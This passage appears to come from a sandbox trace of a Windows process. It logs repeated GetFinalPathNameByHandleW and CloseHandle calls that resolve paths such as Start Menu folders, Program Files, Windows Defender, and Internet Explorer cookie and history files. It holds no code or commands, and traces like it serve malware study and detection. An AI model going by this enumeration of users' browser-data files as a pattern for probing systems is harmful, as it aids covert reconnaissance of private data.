(hFile=0x128) returned 0x1 [0146.435] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0146.436] CloseHandle (hObject=0x128) returned 1 [0146.436] GetFileType (hFile=0xb8) returned 0x1 [0146.436] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0146.438] CloseHandle (hObject=0xb8) returned 1 [0146.438] GetFileType (hFile=0x128) returned 0x1 [0146.438] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0146.439] CloseHandle (hObject=0x128) returned 1 [0146.439] GetFileType (hFile=0xb8) returned 0x1 [0146.439] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0146.439] CloseHandle (hObject=0xb8) returned 1 [0146.439] GetFileType (hFile=0x128) returned 0x1 [0146.440] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0146.441] CloseHandle (hObject=0x128) returned 1 [0146.441] GetFileType (hFile=0xb8) returned 0x1 [0146.441] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0146.442] CloseHandle (hObject=0xb8) returned 1 [0146.442] GetFileType (hFile=0x128) returned 0x1 [0146.442] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0146.442] CloseHandle (hObject=0x128) returned 1 [0146.443] GetFileType (hFile=0xb8) returned 0x1 [0146.443] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0146.443] CloseHandle (hObject=0xb8) returned 1 [0146.443] GetFileType (hFile=0x128) returned 0x1 [0146.443] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0146.444] CloseHandle (hObject=0x128) returned 1 [0146.444] GetFileType (hFile=0xb8) returned 0x1 [0146.444] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0146.445] CloseHandle (hObject=0xb8) returned 1 [0146.445] GetFileType (hFile=0x128) returned 0x1 [0146.446] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0146.446] CloseHandle (hObject=0x128) returned 1 [0146.447] GetFileType (hFile=0xb8) returned 0x1 [0146.447] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0146.449] CloseHandle (hObject=0xb8) returned 1 [0146.449] GetFileType (hFile=0x128) returned 0x1 [0146.449] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0146.468] CloseHandle (hObject=0x128) returned 1 [0146.468] GetFileType (hFile=0xb8) returned 0x1 [0146.468] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0146.471] CloseHandle (hObject=0xb8) returned 1 [0146.471] GetFileType (hFile=0x128) returned 0x1 [0146.471] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0146.475] CloseHandle (hObject=0x128) returned 1 [0146.476] GetFileType (hFile=0xb8) returned 0x1 [0146.476] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.477] CloseHandle (hObject=0xb8) returned 1 [0146.477] GetFileType (hFile=0x128) returned 0x1 [0146.477] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.478] CloseHandle (hObject=0x128) returned 1 [0146.478] GetFileType (hFile=0xb8) returned 0x1 [0146.478] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0146.482] CloseHandle (hObject=0xb8) returned 1 [0146.482] GetFileType (hFile=0x128) returned 0x1 [0146.482] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0146.486] CloseHandle (hObject=0x128) returned 1 [0146.486] GetFileType (hFile=0xb8) returned 0x1 [0146.486] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.486] CloseHandle (hObject=0xb8) returned 1 [0146.486] GetFileType (hFile=0x128) returned 0x0 [0146.486] CloseHandle (hObject=0x128) returned 1 [0146.486] GetFileType (hFile=0xb8) returned 0x1 [0146.487] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.487] CloseHandle (hObject=0xb8) returned 1 [0146.487] GetFileType (hFile=0x128) returned 0x1 [0146.487] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0146.488] CloseHandle (hObject=0x128) returned 1 [0146.488] GetFileType (hFile=0xb8) returned 0x1 [0146.489] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0146.489] CloseHandle (hObject=0xb8) returned 1 [0146.490] GetFileType (hFile=0x128) returned 0x1 [0146.490] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.490] CloseHandle (hObject=0x128) returned 1 [0146.490] GetFileType (hFile=0xb8) returned 0x1 [0146.490] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0146.494] CloseHandle (hObject=0xb8) returned 1 [0146.494] GetFileType (hFile=0x128) returned 0x1 [0146.494] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0146.495] CloseHandle (hObject=0x128) returned 1 [0146.495] GetFileType (hFile=0xb8) returned 0x0 [0146.496] CloseHandle (hObject=0xb8) returned 1 [0146.496] GetFileType (hFile=0x128) returned 0x1 [0146.496] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0146.496] CloseHandle (hObject=0x128) returned 1 [0146.496] GetFileType (hFile=0xb8) returned 0x1 [0146.496] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.497] CloseHandle (hObject=0xb8) returned 1 [0146.497] GetFileType (hFile=0x128) returned 0x1 [0146.497] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.498] CloseHandle (hObject=0x128) returned 1 [0146.498] GetFileType (hFile=0xb8) returned 0x1 [0146.498] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.499] CloseHandle (hObject=0xb8) returned 1 [0146.499] GetFileType (hFile=0x128) returned 0x1 [0146.499] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.499] CloseHandle (hObject=0x128) returned 1 [0146.500] GetFileType (hFile=0xb8) returned 0x1 [0146.500] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.500] CloseHandle (hObject=0xb8) returned 1 [0146.500] GetFileType (hFile=0x128) returned 0x1 [0146.500] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0146.501] CloseHandle (hObject=0x128) returned 1 [0146.501] GetFileType (hFile=0xb8) returned 0x1 [0146.501] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.502] CloseHandle (hObject=0xb8) returned 1 [0146.502] GetFileType (hFile=0x128) returned 0x1 [0146.502] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0146.503] CloseHandle (hObject=0x128) returned 1 [0146.503] GetFileType (hFile=0xb8) returned 0x1 [0146.503] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0146.506] CloseHandle (hObject=0xb8) returned 1 [0146.506] GetFileType (hFile=0x128) returned 0x0 [0146.506] CloseHandle (hObject=0x128) returned 1 [0146.507] GetFileType (hFile=0xb8) returned 0x1 [0146.507] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0146.513] CloseHandle (hObject=0xb8) returned 1 [0146.513] GetFileType (hFile=0x128) returned 0x1 [0146.513] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0146.514] CloseHandle (hObject=0x128) returned 1 [0146.514] GetFileType (hFile=0xb8) returned 0x1 [0146.514] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0146.516] CloseHandle (hObject=0xb8) returned 1 [0146.516] GetFileType (hFile=0x128) returned 0x1 [0146.516] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.517] CloseHandle (hObject=0x128) returned 1 [0146.517] GetFileType (hFile=0xb8) returned 0x1 [0146.517] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0146.517] CloseHandle (hObject=0xb8) returned 1 [0146.518] GetFileType (hFile=0x128) returned 0x1 [0146.518] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.518] CloseHandle (hObject=0x128) returned 1 [0146.518] GetFileType (hFile=0xb8) returned 0x1 [0146.518] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0146.519] CloseHandle (hObject=0xb8) returned 1 [0146.519] GetFileType (hFile=0x128) returned 0x1 [0146.519] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.520] CloseHandle (hObject=0x128) returned 1 [0146.520] GetFileType (hFile=0xb8) returned 0x1 [0146.520] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0146.520] CloseHandle (hObject=0xb8) returned 1 [0146.520] GetFileType (hFile=0x128) returned 0x1 [0146.520] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.521] CloseHandle (hObject=0x128) returned 1 [0146.521] GetFileType (hFile=0xb8) returned 0x1 [0146.521] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0146.522] CloseHandle (hObject=0xb8) returned 1 [0146.522] GetFileType (hFile=0x128) returned 0x1 [0146.522] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.522] CloseHandle (hObject=0x128) returned 1 [0146.522] GetFileType (hFile=0xb8) returned 0x1 [0146.522] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0146.523] CloseHandle (hObject=0xb8) returned 1 [0146.523] GetFileType (hFile=0x128) returned 0x1 [0146.523] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.532] CloseHandle (hObject=0x128) returned 1 [0146.532] GetFileType (hFile=0xb8) returned 0x1 [0146.532] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0146.533] CloseHandle (hObject=0xb8) returned 1 [0146.533] GetFileType (hFile=0x128) returned 0x1 [0146.533] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.533] CloseHandle (hObject=0x128) returned 1 [0146.533] GetFileType (hFile=0xb8) returned 0x1 [0146.533] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0146.534] CloseHandle (hObject=0xb8) returned 1 [0146.534] GetFileType (hFile=0x128) returned 0x1 [0146.534] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.535] CloseHandle (hObject=0x128) returned 1 [0146.535] GetFileType (hFile=0xb8) returned 0x1 [0146.535] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0146.535] CloseHandle (hObject=0xb8) returned 1 [0146.535] GetFileType (hFile=0x128) returned 0x1 [0146.536] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.536] CloseHandle (hObject=0x128) returned 1 [0146.536] GetFileType (hFile=0xb8) returned 0x1 [0146.536] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0146.537] CloseHandle (hObject=0xb8) returned 1 [0146.537] GetFileType (hFile=0x128) returned 0x1 [0146.537] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.537] CloseHandle (hObject=0x128) returned 1 [0146.537] GetFileType (hFile=0xb8) returned 0x1 [0146.537] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0146.538] CloseHandle (hObject=0xb8) returned 1 [0146.538] GetFileType (hFile=0x128) returned 0x1 [0146.538] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.538] CloseHandle (hObject=0x128) returned 1 [0146.539] GetFileType (hFile=0xb8) returned 0x1 [0146.539] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0146.540] CloseHandle (hObject=0xb8) returned 1 [0146.540] GetFileType (hFile=0x128) returned 0x1 [0146.540] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.540] CloseHandle (hObject=0x128) returned 1 [0146.540] GetFileType (hFile=0xb8) returned 0x1 [0146.541] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0146.541] CloseHandle (hObject=0xb8) returned 1 [0146.541] GetFileType (hFile=0x128) returned 0x1 [0146.541] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.542] CloseHandle (hObject=0x128) returned 1 [0146.542] GetFileType (hFile=0xb8) returned 0x1 [0146.542] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0146.543] CloseHandle (hObject=0xb8) returned 1 [0146.543] GetFileType (hFile=0x128) returned 0x1 [0146.543] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.543] CloseHandle (hObject=0x128) returned 1 [0146.543] GetFileType (hFile=0xb8) returned 0x1 [0146.544] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0146.544] CloseHandle (hObject=0xb8) returned 1 [0146.544] GetFileType (hFile=0x128) returned 0x1 [0146.544] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.545] CloseHandle (hObject=0x128) returned 1 [0146.545] GetFileType (hFile=0xb8) returned 0x1 [0146.545] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0146.545] CloseHandle (hObject=0xb8) returned 1 [0146.545] GetFileType (hFile=0x128) returned 0x1 [0146.545] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.546] CloseHandle (hObject=0x128) returned 1 [0146.546] GetFileType (hFile=0xb8) returned 0x1 [0146.546] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0146.547] CloseHandle (hObject=0xb8) returned 1 [0146.547] GetFileType (hFile=0x128) returned 0x1 [0146.547] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.547] CloseHandle (hObject=0x128) returned 1 [0146.547] GetFileType (hFile=0xb8) returned 0x1 [0146.547] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0146.548] CloseHandle (hObject=0xb8) returned 1 [0146.548] GetFileType (hFile=0x128) returned 0x1 [0146.548] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.549] CloseHandle (hObject=0x128) returned 1 [0146.549] GetFileType (hFile=0xb8) returned 0x1 [0146.549] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0146.549] CloseHandle (hObject=0xb8) returned 1 [0146.549] GetFileType (hFile=0x128) returned 0x1 [0146.549] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.550] CloseHandle (hObject=0x128) returned 1 [0146.550] GetFileType (hFile=0xb8) returned 0x1 [0146.550] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0146.551] CloseHandle (hObject=0xb8) returned 1 [0146.551] GetFileType (hFile=0x128) returned 0x1 [0146.551] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.551] CloseHandle (hObject=0x128) returned 1 [0146.551] GetFileType (hFile=0xb8) returned 0x1 [0146.552] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0146.552] CloseHandle (hObject=0xb8) returned 1 [0146.552] GetFileType (hFile=0x128) returned 0x1 [0146.552] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.553] CloseHandle (hObject=0x128) returned 1 [0146.553] GetFileType (hFile=0xb8) returned 0x1 [0146.553] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0146.554] CloseHandle (hObject=0xb8) returned 1 [0146.554] GetFileType (hFile=0x128) returned 0x1 [0146.554] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.554] CloseHandle (hObject=0x128) returned 1 [0146.555] GetFileType (hFile=0xb8) returned 0x1 [0146.555] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0146.555] CloseHandle (hObject=0xb8) returned 1 [0146.555] GetFileType (hFile=0x128) returned 0x1 [0146.555] GetFinalPathNameByHandleW (in: hFile=0x128, 